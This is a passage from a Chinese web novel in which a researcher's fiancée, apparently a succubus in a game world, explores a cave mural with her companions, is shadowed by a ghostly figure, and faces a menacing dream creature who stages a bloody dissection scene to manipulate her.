严雾跟戎火接触不多,她印象里这是个沉默寡言又很有气势的男人,她一直有些莫名的拘束和恐惧。小声说了声谢谢,她接过汤默默地喝了起来。她不知道自己睡了多久,只能从肚子的饥饿感里判断大概已经很久没有进食了,一口热气腾腾的罐头肉汤下肚,整个人才像是活了过来。 四周忽然陷入了一片令人尴尬的、死一样的寂静。 戎火和他们语言不通,夕同简垂着头不知道在想什么,没看任何人,戎淼对着草稿纸写写画画,之芙捧着热汤咕噜噜地喝。 严雾——严雾也没敢说话,只抬头用眼神对之芙发射求救信号:好尴尬,快说点什么啊。 之芙:?她疑惑地回望,嘴角还沾着一点儿水津津的汤汁。 戎火抬头,扯出一张纸来,没等之芙伸手接就十分细致地给她擦了擦嘴角,问:“还要吗?我不喝。”他比划了一个手势,“我的,给你。” 夕同简身边的气压登时变得更低了。 严雾绝望地意识到之芙似乎完全没有注意到现在尴尬的气氛,和夕同简阴沉的脸色。 一旁的戎淼抬起头,见到这副场景,竟然笑了一下。 她把草稿纸挪过来,放在众人面前,主动解围道:“接下来只要顺着这条路往里走,应该就能找到之前戎火说的那个壁画了。宜早不宜迟,等休息好之后,我们收拾一下就出发。” “等等,什么?壁画?我们要去哪里?”严雾松了口气的同时也感到一头雾水。 戎淼耐心地解释了一遍。不久前她和戎火依次醒来后,就跟夕同简重新商量了之后的路线,他们决定要去找到壁画,重新走一遍戎火所描述的那段路,那里或许就藏着研究员们失去理智的真相,而他们不可能抛下他们不管。 根据戎火的辨认,这里已经离那个壁画非常近了。虽然不知道为什么会从山洞的另一头移动到了这里,但只在这里等候是等不到答案的。 解释间,几人喝完罐头汤,草草地清理一番后把准备好的东西都装进了背包里,由戎火带路,他们向着壁画的方向前进。 “戎、戎淼姐……”严雾悄悄地拉住了自己身后的戎淼。她看向前方的夕同简,低声问,“那个,老师他怎么了,怎么感觉有点……” 他们现在是戎火打头阵,戎淼殿后。中间依次是之芙、夕同简和严雾。这样的排序,正适合严雾悄悄跟戎淼说话。 “我不知道啊。”戎淼微笑着说,“我醒来之后,他就这样了。板着一张脸……唉,也不知道是在生什么气呢。” “嗯……”可是,她觉得夕老师不是那种会无缘无故生气的人吧?与其这样说,倒不如说,她从来没有见过夕同简生气,就算是研究员们把冰淇淋冻在养细菌的冰箱里他也…… “不过呢。”戎淼的声音又打断了她的思绪,“我觉得,一个男人如果对自己的未婚妻发脾气,不管是为了什么,都不是他发脾气的借口。这种男人,就是你们大陆人说的‘渣男’,对不对?” “啊……”那、那倒是……她也很认同……无论是什么理由,都不能对之芙生气吧? 她们的声音很小,再加上,跟前面的三人有点距离,所以之芙没有听到她们的对话。 实际上,并不像是严雾以为的那样,对于夕同简的生气,她也不是毫无察觉。 就比如——“唔!” 身后伸出来的一只手接住了她,及时得仿佛一直在关注她似的。 但他的语气还是冷冰冰的:“都说了小心一点,路都不会看吗?……山洞里,路本来就不好走。” 之芙扶着他的手站稳,她想说什么,但就在她站稳的下一秒,夕同简就飞快地把手抽了出去,他也不看她,脸上的表情非常冷淡,仿佛刚刚什么都没有发生一样。 之芙:? 从夕同简问她她是不是骗了他之后,从戎淼戎火醒来之后,他就一直是这副表情。 又冷淡,又不耐烦。 语气冷冰冰的:“站好了,别撒娇。” 之芙呆了一下:“什么?” 夕同简侧过头去,补充一般道:“不用对我撒娇,我不是你的未婚夫,没有照顾你的义务。” 之芙:?又没问这个。 夕同简越过她,目不斜视地往前走。 “是你先骗我的。” 之芙:…… 谁问他了? 第65章 《大卸八块》 我可有得是力气和手段…… 之芙满脑门问号。她头一次觉得自己跟不上游戏角色的想法——夕同简到底在想什么? 然而夕同简没有丝毫要解释的意思。他只是回头, 淡淡地看了她一眼,随即目不斜视地往前走。 之芙愣了一下,跟了上去。 不说话就不说话, 之芙自有聊天的人选。她在脑海里戳系统:【系统?系统。】 系统当然不像是夕同简那么奇怪,它立刻就回复了:【我在。什么事?】 【没事不能聊聊天吗?】 【看路。】系统提醒了一声, 又说, 【赶路的时候最好不要分心,还是……】 【都没人跟我聊天。】之芙下意识看了一眼路,跳过了一个隆起的石块, 说, 【系统,你是不是也不想跟我说话?】 系统:【……】 它服软得很快:【没有。想聊什么?】 之芙嘿嘿一笑说:【就聊聊……那个奇怪的传送门吧。】 系统:【……】 【为什么那个传送门跟直播间的页面一模一样?为什么你能操纵传送门?它跟你有什么关系吗?它是游戏公司给我开的金手指吗?还是游戏道具?如果我能用这个传送门, 为什么你要装傻不跟我说?】 系统:【……】 【系统?系统?你说句话呀?】 系统:【……】 系统大概决定装死到底了。 之芙:【系统, 你不想跟我说话吗?】 【……】 【我好可怜, 都没人跟我说话。】之芙垂头丧气。【你不喜欢我吗?】 【……】 【我跟别人说话, 别人也不理我;我跟你说话, 你也不理我……唉,我就知道,你们只是敷衍我, 其实对我根本没有好感吧?】 系统沉默了半天, 终于憋出来了一句:【没有。】 【真的没有好感?】之芙大惊。 系统:【……我的意思是, 没有这回事。所有人, 都应该……喜欢你。】它顿了顿又说,【你可以跟别人聊天, 我想他们都很乐意跟你说话。】 之芙哼哼唧唧地说:【可是我只想跟你说话。】 【……】这回系统又沉默了好久。好半天,它轻声说,【这是秘密, 暂时还不能告诉你,等到了合适的时候,我会知无不言。】 之芙沉默了一下,问:【合适的时候是什么时候?】 【我暂时还不知道。】系统很诚恳也很直白地说,【但我会尽快的,真的。】 之芙没接话,往前走了两步,越过了夕同简。 系统等了等,没等到之芙的回应,有点奇怪:【之芙?】 之芙闷着头,没回答,脚步越走越快。 【之芙?】 又一阵沉默,之芙才说:【不想说的话就不用说了,也不用跟我提起。】 这还是她第一次用这么冷漠的语气说话,系统有些不知所措:【抱歉,但是这件事我不能做主,我想那个合适的时候应该会很快到来,到时候我就……】 【不用说了!】之芙忽然怒声打断了他。【‘合适的时机’是什么时候?它只在现在,和未来,永远到不了的未来!不用把我当小孩子,我对你们的谜语没有兴趣!】 【……】 【……之芙?】 她显然情绪失控了。 沉默片刻,系统说:【抱歉。】 【……】之芙也深吸一口气,低声说,【对不起。】 【这不是你的错,其实……】 【……呼。】之芙轻轻吸了一口气,语气轻松地打断系统,【其实我只是有点应激。】 【什么?】 【我读书的时候……】之芙说着,伸出手来。应急灯光把洞穴照得一片敞亮,明晃晃的光源从头顶的白色岩石反射到她的掌心,留下皎白的颜色,又从指缝中溜走,滑进沙地,【大家都很照顾我。】 【我是学院里最小的孩子,从我之后,再没有学生入学。我受到学姐学长的照顾,也很感谢他们。老师说我聪明,是三好……三好学生。我的……呃,大概就是你们的学期的意思吧。我的学期里只有我一个学生,所以从小就跟学姐学长们一起学习和生活。】 说到这里,她短暂地笑了一下。然而那笑意也像是流水似地从唇边划走了:【我也跟他们一起考核,每门学科都是优秀,有不少科目甚至是满分,超越所有人。在我们那里,毕业是人生中最大的事情,毕业代表着你可以离开学院,独立生活——哦,我们的学院是强制住宿制,在毕业之前,所有人都生活在学院里。所以你没法离开学院,也没有见过除了老师和同学之外的所有人,我对世界的认知,都是从书本上来的。】 【不过嘛……偶尔也会出现叛逆的学生。他们会带来外界的消息,还有其他人的画像。】说到这里,之芙的语气有点兴奋,【你知道吗,我第一次知道,原来不同的种族,也不全是书上说的那样。】 有自私的天使,也有慷慨的恶魔,有完全不懂爱的人类,也有用纯情热情地真心换真心的小动物。 【按照成绩来说,我应该在学姐学长毕业的时候,跟他们一起毕业。结果呢……我没法毕业。我当然也抗议了!哼,你不知道吧,我还撬坏了校长的门,让他进门的时候被门砸了一下……】 【但他们总是告诉我,等到合适的时机,就会让我毕业了。我等了好久,结果也没有结果。所以,“何时的时机”,就是永远也到不了的未来的意思吧。】 【……】 系统微微怔住了。这是之芙完全没有聊起过的事情。这个莫名其妙出现在那个马路边救下他的女孩总是很神秘,她对自己的来处避而不谈,在这个世界上也没有可以联系的亲人朋友,似乎是凭空出现在世界上的人一样。 她又总是一副娇气、无法无天的样子,很难想象,她曾在这样奇怪的地方长大、有这样的过往。 系统不由得问:【然后呢?】 【然后?】之芙嘿嘿地笑了起来。她握紧拳头,像是把斑斓的光点抓紧了掌心,扬起脑袋说,【我当然是逃跑了!哼,那个地方可管不住我,趁着学姐学长毕业的机会,我跟着他们一起从学院里溜了出来。】 系统忽然笑了一声。 【笑什么!】 【……咳咳。】系统道,【没什么,只是觉得这样很好。】 【那当然。】之芙扬眉吐气,说,【所以你可要防好了。我可不会乖乖等你那个不知道猴年马月才来的‘合适的时机’,说不定什么时候,我就会把你的秘密都扒光!】 ——得意洋洋的样子,像是张牙舞爪的小猫。 系统说:【那要看你有没有这个本事了。】 【哼哼,你等着吧,我可有得是力气和手段……嗯?】之芙在脑海里跟系统说着话,忽然感觉到自己的手被抓住了。 她下意识往后一看,那只手却又立刻放手了。 ——身后只有一个面色冷淡的夕同简。 第66章 《大卸八块》 一个黑色的影子,如影随…… 之芙莫名其妙的。但那只手只是一闪而过, 轻轻地,像猫伸出尾巴飞快地蹭了一下她似地够了一下她的手。 之芙以为是自己的错觉,没太放在心上。她跟系统说着话, 又往前走了几步——那只手又忽然牵上了她,依然是猫尾巴扫过似的轻轻的弧度。 之芙:? 她立刻回头, 但仍旧没有抓到那个人。 她的身后只有夕同简, 而他面色平淡地看着脚下的路,似乎没有意识到她在看自己。 她身前是戎火,身后走在最后面的戎淼和严雾都离得有一段距离, 所以不可能是她们两个, 只可能是夕同简。 不是他不愿意跟她说话的吗?怎么还偷偷牵上了呢? “夕同简?” “怎么了?”夕同简看过来,但视线又飞快地移开, 语气很冷淡, “什么事?” 之芙看到他的表情, 便转过头接着往前走, 心里想这人就继续装吧!看她…… 没走几步, 身后的手又伸了过来,仍旧轻轻擦过掌心,留下一道柔软又轻痒的痕迹, 之芙立刻伸手抓住对方:“夕同简!” 夕同简明显愣了一下。他将要收回的手被一下拽住, 踉跄了一下。 之芙举起他的手, 表情得意洋洋得像是一只抓住了老鼠的猫。又可爱, 又骄傲。 她另一只手叉腰问:“不是你说的‘没有照顾我义务’吗?你怎么老伸手来摸我?” 夕同简沉默了几秒钟,飞速把脸转向一边, 说:“跟你无关。” 说着,他看了一眼之芙的脚下。之芙跟着看过去,才发现自己面前有一个突然冒出来的深坑。 夕同简说:“我怕你摔着, 才伸手扶你一下。” 死鸭子嘴硬。之芙举起夕同简的手,狐疑道:“那之前呢?” “什么之前?”夕同简却反问。他的表情有些别扭,耳根微红,但脸上的疑惑却做不得假,“我就扶了你这一次。” “怎么了怎么了?”身后的戎淼和严雾凑了上来,连着走在前面的戎火也回头,提着照明灯疑惑地看着他们。 之芙说:“他刚刚伸手牵我,又不承认。” 夕同简一脸茫然和疑惑。如果现在不是在游戏里而是在什么漫画里,这会儿他脑门上应该满是问号了:“不是,我没……” 话没说完,三道谴责的目光已经像是利刃一样射了过来——来自戎淼、严雾和戎火。他们的目光里是明晃晃的不赞同,如果目光能骂人的话,他们的意思大概是:渣男! 戎淼还没等他说完话,就走过来一下子把他挤开,拉起之芙的手往前走:“别管他,装模作样的男人最讨厌了。” 夕同简猝不及防地被挤在另一边,好容易站稳了,见戎火提着灯看着他,他虽然没有说话,但仍旧满脸不赞同地对他摇了摇头,然后转身离开了。 夕同简:…… 身后的严雾磨磨蹭蹭地挤上来,也是满脸的不赞同,她欲言又止:“夕老师……” 夕同简简直要捂额了:“想说什么,说吧。” 大概身份原因,严雾仍然小心翼翼:“夕老师,您不喜欢师母吗?” 夕同简微微一愣。片刻后他含糊着道:“不是。” ——不是这个意思,不是他不喜欢之芙。明明是之芙她先……! 夕同简埋头往前走。 严雾从身后跟上来,委婉地说:“夕老师,现在已经是自由恋爱的年代了……诶,我的意思是说,呃,如果夕老师您不喜欢师母的时候,也没有必要跟师母订婚?其实我觉得,喜欢师母的人应该很多哦,如果您对她没有那种感情的话,还是……” 夕同简的脸色愈发难看。一贯的温柔微笑都挂不住了,他反问:“很多人喜欢你的师母?”‘师母’两个字还重音了。 严雾反而被他问得莫名其妙。她理所当然地说:“那肯定有很多呀。”说完这话,她又觉得不对劲,看了看夕同简打了个哈哈说:“不过,老师您放心!师母是师母,大家都很尊敬她,没有那种想法!您放心!” 夕同简却丝毫没有被安慰到,脸色反而更加冰冷,活像是冻了块儿冰似的。 ——如果之芙不是‘师母’了呢? 或者,说得更明白一点,如果他不是之芙的未婚夫了呢? 身后的严雾还在絮絮叨叨:“哎呀,不是我说,但是夕老师,我的意思是……就是……” 夕同简回头,盯着她,直把严雾盯得毛骨悚然,他才微微笑了一下,恢复了往日里的平静温柔的样子,问:“我……” “你?”严雾被吓了一跳。这还是第一次,她看到夕同简用一种请教的语气说话。 夕同简接着说:“我哪里像渣男?” 严雾:“……” 严雾傻在原地,呆呆地看着他,心里冒出来一个:哪里都像。 被之芙扇巴掌的时候像;不搭理之芙的时候像;牵了人家的手还强词夺理说没有的时候,更像。 她一言难尽地看着夕同简。 鉴于他的身份,严雾决定还是不要这么打击对方。她清了清嗓子,正准备安慰一下看起来大受打击的夕同简,前面,忽然传来一声:“到了!” 两人骤然转头。片刻后对视一眼,往前跑去。 大约两分之后,他们到达了一个巨大的洞穴——这里大概就是之前戎火描述的洞穴。 和他们一路走来遇到的洞穴不一样,这个洞穴显得格外的宽阔,大概有半个篮球场那么大,头顶相当于两层楼高,如果不特意照明几乎只能看到一片黑暗,四面有四五个岔路口,也是伸手不见五指,像是黑暗的肠道,蜿蜒着通向未知处。 而墙壁上,赫然正是戎火曾提到过的、粗糙而色彩斑驳的壁画。 夕同简第一时间走上前去,他没有带专业的记录摄像头,便嘱咐严雾先拿手机拍下来,同时从包里抽出密封袋,用指尖刮了一些石壁和壁画上的颜料装进去,收集实验用的材料。 戎火和戎淼也上前帮忙。 “可惜仪器没有带进来,我们带了测算地址和年份的仪器,如果有那个东西,就可以测量这副壁画是什么时候画上去的了……” 严雾一脸可惜,之芙帮她提着照明灯,两人顺着壁画的方向,一边拍照,一边往深处走。 “带回去也可以做检测嘛。”之芙安慰道,“只是迟一点——小心,有水。” 山洞的地面上有些积水,是从头顶的石壁缝隙里落下来的。 严雾绕过水潭,举起手机,“咔嚓”一声,拍下一部分壁画。她就这手机的镜头看向之芙:“芙芙,再往里——嗯?” 之芙疑惑:“怎么了?”说着,她提着灯,往里走了一步,照亮了更多壁画。 严雾却没有动作,只是呆呆地看着镜头—— 手机的镜头里,一个黑色的影子,如影随形地跟在之芙的身边。 那个影子,也抬起头,透过手机的摄像头,看着她。它伸出手,轻轻地勾了一下之芙的手掌。 第67章 《大卸八块》 是他们的目的和默许,让…… “……” 严雾的尖叫声堪堪卡在喉咙里。耳边一切声音都飞速远去了, 仿佛全世界只剩下镜头里毫无察觉的之芙和那个诡异的鬼影,极度的寂静中严雾只听到了自己剧烈的呼吸声和震天响的心跳声。 她手指颤抖着,“咔嚓”一声, 留下了一张照片。 照片中的女孩提着灯,莹白的灯光照亮她白皙的小脸, 像是驱散迷雾的灯塔一般把四周照得一片明亮, 黑暗本该无所遁形,可她的身边,却站着一个黑影—— 那黑影比她高出许多, 像是一团黑色的雾气聚集在一起, 轮廓看不清晰,只依稀是个高大的人形, 大概是脸的方向, 正透过镜头看向她。 严雾的镜头还在录像。视频中, 黑影伸出手, 轻轻地, 猫尾巴划过似地,勾了一下之芙的手。 之芙“咦”了一声。 刹那间严雾嗡鸣的脑海中只有一个念头:刚刚牵住之芙的手的人,不是夕同简。 是那个黑影, 不知从何时开始它就跟在之芙身边了……在所有人都没有察觉的时候, 它混进了队伍里, 跟着他们一起前进。也在所有人都没有察觉的时候, 它偷偷牵之芙的手。 它……它是谁?不,它是什么东西?!它想做什么?为什么会跟在之芙身边…… 严雾咽下唾沫, 只觉得自己的声音干得发疼:“芙芙……” “怎么了?”之芙疑惑地看着她。如果不从摄像头的视角看去,这仿佛只是一个普通的场景,然而——摄像头里, 那个黑影也微微歪头地看了过来,像是也在疑惑似的。 严雾听到自己干笑了一声,她都有些震惊于自己的冷静:“这个手机好像有点坏了,呃,我的意思是……它好像没有电了。芙芙,能把你的手机给我吗?” 之芙不明所以,但还是从口袋里抽出手机,她一边走过来,一边低头把手机解锁,随手打开摄像头功能,递给严雾:“喏,这样就——” 她的话忽然顿住了。 “芙、芙芙?”严雾下意识一低头。 手机打开摄像头后默认了初始的前置摄像头,不大的手机屏幕内挤满了人影——一脸惶然的她,一脸茫然的之芙。但不只是她们,还有…… 那个黑影,也随着她们低头,看向了手机屏幕。屏幕里,三个影子几乎是头对着头,紧挨在一起。 “咔、咔……”严雾听到了从自己齿间发出的,牙齿打颤的声音,然后才是姗姗来迟的尖叫声,“啊——!!!” 尖叫声在山洞里回响,惊得众人骤然回头看来。 ——手机砸在地上发出一声巨响,严雾手足无措地抱着之芙跪坐在地上。她对上了其他三人的视线,表情像是快要哭出来了:“有、有鬼!!!” “……” “发生了什么?”众人迅速把两人围了起来,“出什么事了?” 之芙倒在严雾的怀里,双眼紧闭,嘴唇也抿起,像是陷入了一场深梦里。 “我,我刚刚……”严雾的舌头几乎要打结了,在戎火接过之芙,把她放在地面上平躺之后,她几乎是手脚并用地在说话,“我刚刚看到一个黑影!它跟在之芙的身边。我,她,呃……” “你先冷静一下。”戎淼抓住她的手,安抚性地拍了拍,像是给她顺气一般,她说,“先深呼吸,冷静一下,你现在很安全。什么黑影?我们刚刚都没有看到。” “不是,那个黑影……” “冷静,冷静。” 严雾深呼吸,试图在混乱的记忆中寻找合适的词汇,把近乎崩坏的大脑重组。 夕同简蹲下身来,翻开之芙的眼皮。 “在做梦。”他低声说,“是梦里那个男人做的鬼。” ——毫无征兆地突然陷入沉睡,只有这种可能。 严雾深呼吸了好几下,才像是想起来了什么。她抓起自己的手机,打开之前拍下的照片:“你们看!就是这个东西!我,我肉眼看不到,但在手机摄像头里能看到,也能被拍下来……我听说照相机能拍出灵魂和鬼……这是不是……” “这个。”一直沉默的戎火忽然说话了。“见过。” “什么?” 戎淼快速转过身,跟戎火说了几句话。几分钟后她转回来,解释:“戎火说他曾经见过这个东西,在之芙身边。就是不久之前,在他睡着之前。” 夕同简问:“确定是这个东西?” 严雾翻出了之前拍的视频,视频里模糊的人影跟在之芙的身边——在之芙走近的时候,它也跟着一起走近,身形离镜头越来越近,边缘却愈加模糊,但走动的时候,还是能看出人类手脚和轮廓的大概样子。 戎火语气很肯定:“确定。” 戎淼解释:“他说他当时在之芙身边看到的就是这个人影,那时候那个人影也这样牵着她的手。他当时想问,但之芙让他先睡一会儿……醒来之后,他就没有看到那个奇怪的黑影了。他以为是视线模糊的错觉,毕竟……” “毕竟?” 戎淼顿了顿。这一次,不需要戎火说话,戎淼便接着说:“传说里,被祂选中的人,会得到神使的指引。神使不会现身,但会保护她的安宁,直到抵达祂的船只。老人说:‘若有知者,无需声张,只需悄悄跟上她的脚步,届时或能蹭得一张船票,在祂的指引下抵达永恒的安宁’。” 这话一落地,满室寂静。半晌没有人说话,严雾抬起眼看了一下戎火和戎淼。不知道为什么,她觉得戎淼的话似乎有点奇怪,但具体哪里奇怪……好像又说不上来。 直到夕同简抬头,静静地看了戎淼戎火几秒钟。 他问:“你们,是来‘上船’的?” ——刹那间,严雾忽然意识到了哪里不对。 夕同简请戎火和戎淼来做向导的时候,他的要求是“对地形地貌熟悉,能保护研究员的安全并且协助研究员完成取材和简单实验”。 他是请他们来保护研究员、研究岛上的奇怪生物“魅魔”,弄清真相的。 但戎火和戎淼的目的似乎跟他们不一样,甚至是背道而驰的。 他们的目的是,跟随他们的研究找到并且追随他们的神明。 ——是他们的目的和默许,让之芙陷入了危险。 …… 时间退回到一刻钟之前。 之芙提着灯,在给严雾照亮壁画的同时,也歪头看向壁画的方向。 这些壁画和她之前看到的没什么不同,不过那个时候她只能借着手机电筒的灯光来看,现在有了更加明亮的提灯后,她看到了更多之前没有注意到的细节。 比如,在壁画的最上方,总是有一个隐约的黑色的影子,如影随形地跟在壁画中小人的身后。 没有明亮的灯光,不仔细审视的话,是绝对注意不到它的——它的整体非常模糊,像是一个黑色的影子、一片黑色的朦胧的雾气,隐约能看出人的手脚轮廓,但那轮廓也显得很模糊,肢体和身体的比例异常奇怪。 它也不总是以人类的形状出现,更多的时候,它看起来只是黑漆漆的一团,像是有人在墙壁的下方点燃了火堆,把石壁熏出了奇怪的黑色形状。 但这种黑色的形状,却出现在壁画的各种地方——隐藏在角落里,漂浮在画面上方,或是站在小人的身边。 像一个阴魂不散的监视者,在注视着壁画中的小人的一举一动。 可它也没有任何多余的举动。高高在上,如影随形,享受挑剔地观看着这些人的挣扎。 第68章 《大卸八块》 男人眯起眼睛:“你不害…… 下一个壁画里, 黑影站在小人的身后,就在她的手边。之芙下意识伸出手,碰了碰墙壁上的黑影——它是谁?是梦里的那个男人吗? 他真的是她的同类吗?作为一只魅魔, 他难道还有观赏人类命运的爱好吗?……真是一只奇怪的魅魔。 之芙盯着壁画思考着,难道这是人类的另一种艺术表现形式?她知道有些人类会这样来表达对神明的敬畏, 比如“举头三尺有神明”之类的…… 正想着, 忽然,她感觉到黑暗中有一阵凉意划过她的掌心。像是一阵风被吹进了手心里,又像是……猫的尾巴, 轻轻地勾了一下她的手心。 之芙一怔, 还没来得及思考这是不是错觉,忽然又听到身后传来严雾的声音:“芙芙……” “怎么了?”她转头看向严雾。女孩儿握着手机正在录像, 不知为何, 她好像有点紧张。手指紧紧抓着手机的边缘, 指尖用力到泛白。 她干笑了一声:“这个手机好像坏了, 呃, 我的意思是……它好像没有电了。芙芙,能把你的手机给我吗?” 之芙没多想,从包里掏出手机, 顺手按开了手机的指纹锁, 她担心严雾找不到拍照的软件, 主动点开了摄像功能递给严雾:“喏, 这样就——” 严雾接了过来——准确来说,接到一半。之芙同时和严雾低下头, 手机的摄像头自动开启,是前置模式。 她看到了一个黑影,站在她的身边, 从黑色的雾气中伸出一只手牵着她空出来的那一只手。 之芙短暂地晃了一下神。 身边响起了尖叫的声音,但像是隔着一层水面般模糊,继而那尖叫声也消失在水中。 之芙有点费力地眨了眨眼,眼皮一瞬间变得仿佛有千斤重,挂个秤砣般沉甸甸地压了下来,刹那间她的脑海中只有一个想法:又来?! 紧接着,她闭上了眼睛,沉入了梦境之中。 …… 四面黑暗,伸手不见五指,看不清楚脚下的路,也不知道自己身处何方。只有前方有一束亮光,一扇纯白色的门孤零零地矗立在前方,仿佛是从异世界凭空出现在这里似的。 明亮而惨白的灯光从门里照出来,落在地面,像是黑暗中一个安全区,又像是深海里的鮟鱇鱼,用头顶的光亮引诱猎物落入陷阱。 门里的场景之芙也见过很多次了——那个男人会在实验室的容器里静静地看着她,又或者出现在房间外试图引诱她…… 之芙推开了门——嗯? 之芙再一次把门往里推了推,然后惊讶地发现,门被卡住了。 门里门外像是出现了一睹透明的墙壁,她没法推开门,也没有办法从门的缝隙里进入门内,只能从门缝里窥视门内的场景。 但意料之外的,她所见到的,并不是以前的场景。 她看到—— 房间里一片纯然的白。房间正中间的巨大的椭圆形容器消失了,取而代之的是一张手术台,四周围着透明的隔离帘,透过隔离帘,可以看到手术台周围围满了穿着隔离服、带着呼吸面罩的研究员们,帘子里的无影灯亮得像是另一个太阳,把所有的一切都照亮,黑暗无所遁形。 突然,隔离帘上溅上了一簇血,紧接着响起了研究员们的尖叫:“啊!”“别动!”“小心!” 混乱的语句接连响起,人群中发生了一阵骚乱。直到另一个沉稳温和的声音响起:“别慌。先放手,让我来。” ——那是夕同简的声音。 人群让开了一条道,非常明显地露出了站在最中心的夕同简。他跟其他人一样穿着防护服,但奇怪的是,他没有带可以遮蔽面容的呼吸面罩,就像是刻意露出了他的脸似的。 夕同简接过另一个研究员手里的手术刀,他的手很稳,像是经历过许多遍似地,简单地擦洗之后对准了下方的人—— 他剥离皮肉组织的动作既优雅又轻描淡写,像是在餐厅切下一块牛排一样的冷静平淡。 血从身体里涌了出来,助手用一块医用纱布擦去。 随着助手的移动,之芙终于看清楚了躺在手术台上的人的脸—— 那正是梦中男人的脸。 之芙一愣。 他躺在手术台上,手脚都被黑色的束缚带束缚着,面颊转向一侧,空洞的眼睛看向她,像是在求救,又像是已经死去。 而他的身前,夕同简表情自然地继续下刀、下刀——正是这种自然的神态,才更加让人感到毛骨悚然。 之芙的身后忽然响起一阵窃窃私语: “夕同简他也太……” “是啊,虽然说‘非我族类,其心必异’,但能这样面不改色地解剖一个类人生物,他简直就是……变态嘛。” “我现在都不敢跟他说话了……好恐怖,万一他把我也抓去研究怎么办?” “……” 紧接着,又传来了一阵痛苦的声音,那腔调模模糊糊地,语气里的痛苦却无比清晰—— “好疼啊……好疼啊……” “救救我……” 手术台上的男人骤然睁开了眼。他目光像是一把利剑,直直地射向了站在一旁的之芙。 “……” 但不同于他的想象的是,之芙的眼里并没有流露出他期待的情绪。恐惧、怜悯或是厌恶,这些都没有。 这和他想象的不一样。 她只是有点疑惑地看着他,像是在看一场奇怪的表演。 于是窃窃私语停住了,哀嚎也止息,研究员们的动作停滞,他身边的一切像是被按下了暂停键。 “你身边那个男人很恐怖。”他说,语气伪装得恰到好处,一点点的憎恶和害怕,“芙芙,来我身边好不好……我痛。” 之芙推了推门。这一次,她顺利地把大门推开,灵巧地越过围在手术台周围的人,走到男人的身边。 他还被束缚带捆绑着。试图挣扎了几次都失败了之后,他放弃了挣脱的想法,就这样躺在了手术台上,脸朝向她,努努嘴,眼里全是对她的渴望。 像一只想要亲近却被绳子束缚住的小狗,眼睛也湿漉漉的。 之芙走上去,摸了摸他的脸。 男人接着控诉:“你看,他真狠心。我的手,我的身体,都被他切开了。人类就是这么自私的种族,又渺小,又贪婪,他们……” 他顿了顿,似乎在竭力控制,让自己的意图不要太明显,但嘴唇却完全不受控地开合:“你应该离他远一点。” “……”之芙的脸上却只有无奈的表情,她叹了口气。 男人眯起眼睛:“你不害怕吗?” 第69章 《大卸八块》 食梦貘? “你不害怕吗?” 之芙“唔”了一声, 用指节敲了敲手术台,冰冷的钢铁发出了清脆的“咔咔”声,回响在房间内。 束缚带死死地捆在男人的手脚上, 勒出触目惊心的血痕,她的目光一一扫过那些痕迹, 想了想说:“夕同简应该没有做过这种实验吧。” “你就那么相信他?”男人纤长的眼睫颤动着, 仍维持着血腥又可怜的模样,像个标准的受害者,“你亲眼见过?” 之芙的手依然抚在他的脸上, 男人的眼睫一下下划过她的掌心, 微微发痒,像是一只被困在掌心里的蝴蝶拍打着脆弱又美丽的翅膀。 “虽然我没有见过他做实验的样子……但我见过你在实验室里的样子啊。”之芙说。 她第一次见到男人的时候, 他闭着眼漂浮在透明的溶液里, 虽然她并不知道那是什么, 但是……那时候他虽然全身上下都连接着管子, 但那些管子明显是为了维持和监控他的生命体征, 不是为了伤害他。 那个时候的他身上,可没有疤痕或者被切片研究的痕迹。那个之芙无意中拿到的研究文件上,也根本没有这方面的研究项目, 她当时看到的只有一些简单的身体检查和精神波动的研究监视, 最大的伤口应该是……抽血? 再说了……夕同简只是想带他去另一个研究所检查身体, 就被他弄得车毁人亡, 车上那么多人,只有夕同简一个人活了下来——如果不是之芙救他, 夕同简也活不下来,那就真是一车人都被他杀了,没有一个活口。 可见, 他根本不是一个任人宰割的可怜角色。 不过,之芙还是有一个不太明白的地方。既然他有在梦里影响人的能力,为什么要一直呆在研究所被人研究?他大可以直接杀掉那些研究员,再离开研究所。 男人撇了撇嘴。周围的研究员们都消失了,人群之中,拿着手术刀的“夕同简”也像是烟雾般散去,只剩下一个影子。 之芙下意识侧头去看,却被身后伸来的一只手握住了下巴。 “还看?”男人的语气有些奇怪,“你不知道是假的吗?” 手术台上的束缚带不知何时断开了,男人坐在手术台上,另一只手托着下巴,他身上的血迹和伤口都消失了,手腕白净如新。 果然都是假的,是他造出的一场梦。在梦里,无论是记忆还是不存在的场景,他都能随意操控。 所以……他为什么要做这个梦给她看?他是在挑拨离间吗? 疑问还没有得到解答,之芙忽然觉得天旋地转,原本她站在手术台旁边,忽然一阵眩晕,再睁开眼的时候,她躺在了手术台上。 ——手脚都被束缚带绑住了。 之芙:“嗯?等等?”是什么情况? 她试着挣扎了一下,但无法挣脱束缚带,束缚带的触感变得很奇怪,像是一根根缠绕在手脚腕上的海草,柔软却无法挣脱。 “等什么。”位置交换,这一次,是男人站在手术台边上。他弯下腰来,伸出一只手,学着之芙之前的样子摸了摸她的脸颊。他的指尖也像是海草一般柔软光滑,不似人类的触感。 他身形投下一道阴影,几乎盖住了之芙。继而那阴影越来越大、越来越近—— 他的头深深地弯下来,脸颊贴着脸颊,缓慢地厮磨。像是野兽进食前的试探,他的脸颊也柔软而光滑,有些潮湿。他的嘴唇却是干燥的,呼出的热气缓慢地拍打在之芙的眼眶上。 继而那热气缓慢向下……他张开嘴,一下咬住了之芙的脸颊。 “唔!” 男人的牙齿又尖又利,像是长了一排鲨鱼牙似的,用力地在之芙脸颊上咬了一口。在听到闷哼后,他的动作又顿了顿,改为用唇瓣抿住,缓慢地厮磨。 水津津的光染上了他干燥的唇瓣,又经由唇瓣的厮磨蹭上之芙的脸颊,厮磨间温度小范围地升高,泛出艳色的红。 他的呼吸声回响在寂静的房间内,逐渐变得沉重。 “……”他嘴里呢喃着什么,“好香……好想、好想……吃掉……” 吃掉?什么意思? 之芙想起了上一次她来到梦境时,男人试图攻击她的样子。 那种奇怪的、别扭的感觉又一次涌上心头:他其实一点也不像魅魔。 从没有哪个魅魔像他一样……也没有哪个魅魔能操控和编织人的梦境的。 “你……把其他人吃掉了?” 哪种吃?是不是……就像是当初坐在夕同简车上的那些人一样,死掉了? 又或者,像是夕同简之前说的那样,曾经在梦里见过他的研究员们,最后都精神错乱,被送进了精神病院——之芙脑海中灵光一闪:听起来,像是他们的灵魂被吃掉了,只剩下一具行尸走肉的皮囊似的。 “……”男人喘了一声,他笑起来。声音也变得黏黏糊糊的,“是啊,他们……”他顿了顿,似乎在思考什么,“也就那样吧。相比之下,还是你比较……” 